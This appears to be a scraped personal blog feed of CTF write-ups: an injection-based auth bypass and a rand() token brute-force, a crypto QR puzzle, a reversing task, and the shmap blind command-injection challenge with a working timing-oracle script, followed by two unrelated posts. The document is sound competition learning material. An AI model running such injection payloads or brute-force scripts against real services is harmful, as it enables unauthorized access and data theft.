The first issue we found in the service was related to the generation of auth tokens during registration, which is done using rand(3). At program startup, the random number generator is initialized by the current time: srand(time(0)). At that time the game server had stored less than 100 flags and the game had run only for a few hours. So this was clearly in brute-force territory. So I wrote a simple script that for every second since the CTF had started (where the service could potentially been started) generated 100 possible auth tokens until one matched the 14 given characters. This worked great locally and I'm sure it'd have worked great against 90% of the other teams, but sadly it never got that far because exploit scripts are first tested against an unpatched vulnbox by UCSB which was apparently started way earlier, making brute-force unfeasible.

On our own machine, we 'fixed' this by loading a library with LD_PRELOAD that modified rand(3) to get its data from /dev/urandom.

After this let-down we went back to the service, looking for the intended vulnerability. Kind of embarrassingly, we only found it by looking at the traffic of other teams exploiting us. While the authentication command appears to check the given auth token is all alpha numeric and a file by the same name really exists, it actually does so only for the first 32 characters. It then used all input to construct a shell command for system(3) that retrieved the flag. We could basically just copy the exploit that was used against us, in order to fix it I modified the loop checking that the auth token is alpha-numeric to check the whole length of the buffer. This meant an attacker had a chance to overflow the id array, but only into a buffer next to it that already contained attacker-controlled input.

Later on, we tried to combine both exploits (the second one to get past the correctness check, and the first one to get tht flags), but at that point the CTF already ran for over 6 hours and our server had generated a bit less than 400 flags, which again made brute-force impossible in the few seconds the exploit script had until it was killed.

th3jackers CTF: Crypto 300 and Reversing 100 write-up

Sat, 24 Jan 2015 14:48:53 +0100

So I don't really have much time for playing CTFs right now, but yesterday I took it for the "th3jackers" CTF. I solved the Reversing 100 and Crypto 300 challenges.

Crypto 300

For the Crypto 300 challenge, there were two files given, a wat.png that was no valid PNG file and a key.txt that said:

the key is : aniesse

Looking at wat.png in a hex editor, I saw the string "ssea" somewhere near the end so I suspected the file was just XORed with the (repeated) key. Undoing that gave in fact a valid PNG file:

That looks like a scrambled QR code, but exactly how is it scrambled? I was scratching my head for a while until I threw strings at it to find the following text in it:

----- IMAGE ORDER ----------
MTIzNzg5NDU5
Nzg5NDU2MTIz
NDU2MTIzNzg5
MTIzNzg5NDU5
Nzg5NDU2MTIz
NDU2MTIzNzg5
MTIzNzg5NDU5
Nzg5NDU2MTIz
NDU2MTIzNzg5

These lines are encoded with Base64, so undoing that gives us:

So apparently the original QR code was split into 9x9 small images and then those images were scrambled around in the order given above. Note that every 3rd line has two 9s instead of a 6, so some information went missing.

So I wrote a script to do the unscrambling and the QR code had lost too much information to decode. I refined my script a bit - my first version split the image in a 3x9 pattern which left quite some artifacts due to rounding differences - but that didn't solve the problem. So I thought maybe instead of leaving whatever image data is at the position of those 6s, I should gray them out so that I don't give any wrong black/white information to the QR decoder. The result is an image like this, that still doesn't decode:

If you look closely at the edges of the 2nd and 3rd gray box, you can see that the gray boxes don't align with the 15x15 pixel sized boxes that make up the QR code. For example, below the box in the middle we can see a small stripe of black. So we know there should be 3 black 15x15 boxes in the lower third of that gray box. Applying the same technique all around the 2nd and 3rd gray box gave me this image:

And feeding this into zbarimg successfully decodes to the string 8d54e284d4668bbed5dc391b27kc7fc05 :). I didn't really know what to do with this. It looks like a hex string, but there's a "k" in there so it can't really be. Even if it were, it can't be ASCII because there's a bunch of characters > 127. It's no Base64 either and Google doesn't know the string either. So that's where I finally went to bed, thinking I'd continue the next day. Turns out the CTF actually already ended after 12 hours, not 48 hours as it said on CTFTime.

Luckily, my teammate Tim had the glorious idea of just ignoring the "k" and to treat the string as a hex encoded md5 sum. So he went to MD5DB to paste the data and voila - we had the flag "beprepared".

For reference, this is the script I hacked together to descramble the QR code:

#!/usr/bin/env python2

from scipy import misc
import numpy as np

order = open('image_order', 'r').read().strip().split()
order = map(lambda xs: map(lambda x: int(x) - 1, xs), order)

wat = misc.imread('wat.out.png')
wat = wat * 0xff # saving will create a 8-bit png from the 1-bit source file

wy = wat.shape[0] / len(order[0])
wx = wat.shape[1] / len(order)

watout = np.tile(np.uint8(127), wat.shape)

for i, orderx in enumerate(order):
    line = [None]*len(order[0])
    for sidx, tidx in enumerate(orderx):
        line[tidx] = wat[i*wx:(i+1)*wx, sidx*wy:(sidx+1)*wy]

    for j, dij in enumerate(line):
        if dij is not None:
            watout[i*wx:(i+1)*wx, j*wy:(j+1)*wy] = dij

wati = misc.toimage(watout)
wati.save('wat.out.out.png')

watout[135:150, 240:270].fill(255)
watout[135:150, 270:285].fill(0)
watout[180:195, 240:285].fill(0)

watout[285:300, 240:285].fill(255)
watout[330:345, 240:255].fill(255)
watout[330:345, 255:285].fill(0)

wati = misc.toimage(watout)
wati.save('wat.out.out.fixed.png')

Reversing 100

This was a rather small task. It was a 32bit Linux binary. Static analysis showed that it first computed some kind of checksum over some memory area then use that (with some bit rotation) as the XOR key to a static memory buffer. Lazy as I am, I didn't want to write a program to compute the checksum, so I ran the program in GDB, set a breakpoint after the checksum was computed and printed it. But it wasn't as easy as that - the checksummed memory area was actually the main function and setting a breakpoint changes the first byte of a instruction to 0xcc. So that means you have to use a hardware breakpoint (hbreak) in GDB.

Besides that, everything was straight-forward and the following script gave me the correct flag flag{$O_mUcH_FuN_w1tH_r3v3R$iNg}:

#!/usr/bin/env python3
"""
(gdb) info breakpoints 
Num     Type           Disp Enb Address    What
3       hw breakpoint  keep y   0x0804849d 
        breakpoint already hit 1 time
4       hw breakpoint  keep y   0x080484e6 
        breakpoint already hit 1 time
"""


magic = 873788163
bar = b'ejm~HB\202\305Y=\263\350\036\304pDK^b\323\a\301NJ\205\325\236\274Y.\247\374'
res = bytearray(32)


# Rotate right: 0b1001 --> 0b1100
ror = lambda val, r_bits, max_bits: \
    ((val & (2**max_bits-1)) >> r_bits%max_bits) | \
    (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
ror32 = lambda val, bits: ror(val, bits, 32)

for i in range(31, -1, -1):
    magic = ror32(magic, 1)
    res[i] = (magic & 0xff) ^ bar[i]

print(res.decode())

9447 CTF: shmap writeup

Mon, 01 Dec 2014 16:03:36 +0100

This weekend, I participiated in the 9447 CTF as part of the FAUST team. In this post, I'll show you how I solved the shmap challenge.

shmap

The description of shmap only told you to connect to shmap.9447.plumbing:9447. The service at that address showed a shell prompt, but the only output you got back was how long it took the command to execute, rounded to a full second. The connection remained open for another second or so after that message, but it seemed like all input beyond the first line was ignored.

Redirecting the output to a socket via bash's fake /dev/tcp/ device didn't work here (as opposed to the ramble challenge) either.

But after some experimenting, I found that the sleep command worked just fine, as did chaining of commands via &&. Combining these, I could find out whether a command succeeded or not. But where could there be a flag and how do I get the contents? Looking for the flag, I got lucky on my first guess:

>>> ls flag && sleep 1
Command took 1 seconds!

After some failed attempts to verify with test and head that the file (like all correct flags in this competition) started with 9447, I changed tactics and did so with grep instead: grep -P '^9447{'. Now it was just guessing each next character, like in a blind SQL injection. After guessing a few characters by hand, I wrote a little Python script for this:

#!/usr/bin/env python3

import telnetlib
import sys
import time

start = b"grep -P '^9447\{Im_si"

def is_right(c):
    con = None
    while con is None:
        try:
            con = telnetlib.Telnet('shmap.9447.plumbing', 9447, timeout=3)
        except ConnectionRefusedError: # sometimes the connection wouldn't work
            pass
    str = start + c +  b"' flag && sleep 1 \n"
    sys.stdout.buffer.write(b'\r' + str[-100:].strip())
    sys.stdout.buffer.flush()
    con.write(str)
    return not con.read_all().decode().endswith('0 seconds!\n')

rng = lambda a, z: [bytes([v]) for v in range(ord(a), ord(z))]

found = True
while found:
    found = False
    for val in rng('a', 'z') + [b'_'] + rng('A', 'Z') + [b'.']:
        # check twice, to weed out false positives (presumably the server was somewhat overloaded)
        if is_right(val) and is_right(val):
            start += val
            found = True
            break

print(start)

After wondering a bit why I the script wasn't running faster, I also figured out why the connection was kept open for some time after the service was already done: that's some very simple rate-limiting on the server side.

After a few minutes, the script gave the correct flag: 9447{Im_sick_and_tired_of_the_mess_you_made_me_Never_gonna_catch_me_cry_Oh_whoa_whoa_You_ must_be_blind_if_you_cant_see_Youll_miss_me_til_the_day_you_die_Oh_whoa_whoa_Without_me_ youre_nothing_Oh_whoa_whoa_You_must_be_blind_if_you_cant_see_Youll_miss_me_til_the_day_ you_die_Oh_whoa_whoa}

Organize Search Engines 1.7pre

Sun, 08 Aug 2010 20:38:47 +0200

Install Organize Search Engines 1.7pre

compatible with current Firefox 4.0 Betas and Nightlies
the dialog for adding a search engine is no longer broken
dropped support for Firefox 3.0 and 3.5
get the full source code here

Ubuntu 10.04

Wed, 07 Jul 2010 16:23:31 +0200

Vielleicht liegt's daran, dass ich mir diesmal etwas Zeit damit gelassen habe, aber das war für mich das erste Ubuntu-Update, bei dem der Rechner danach sofort, ohne tagelange Problemsuche auf der Konsole, funktioniert hat.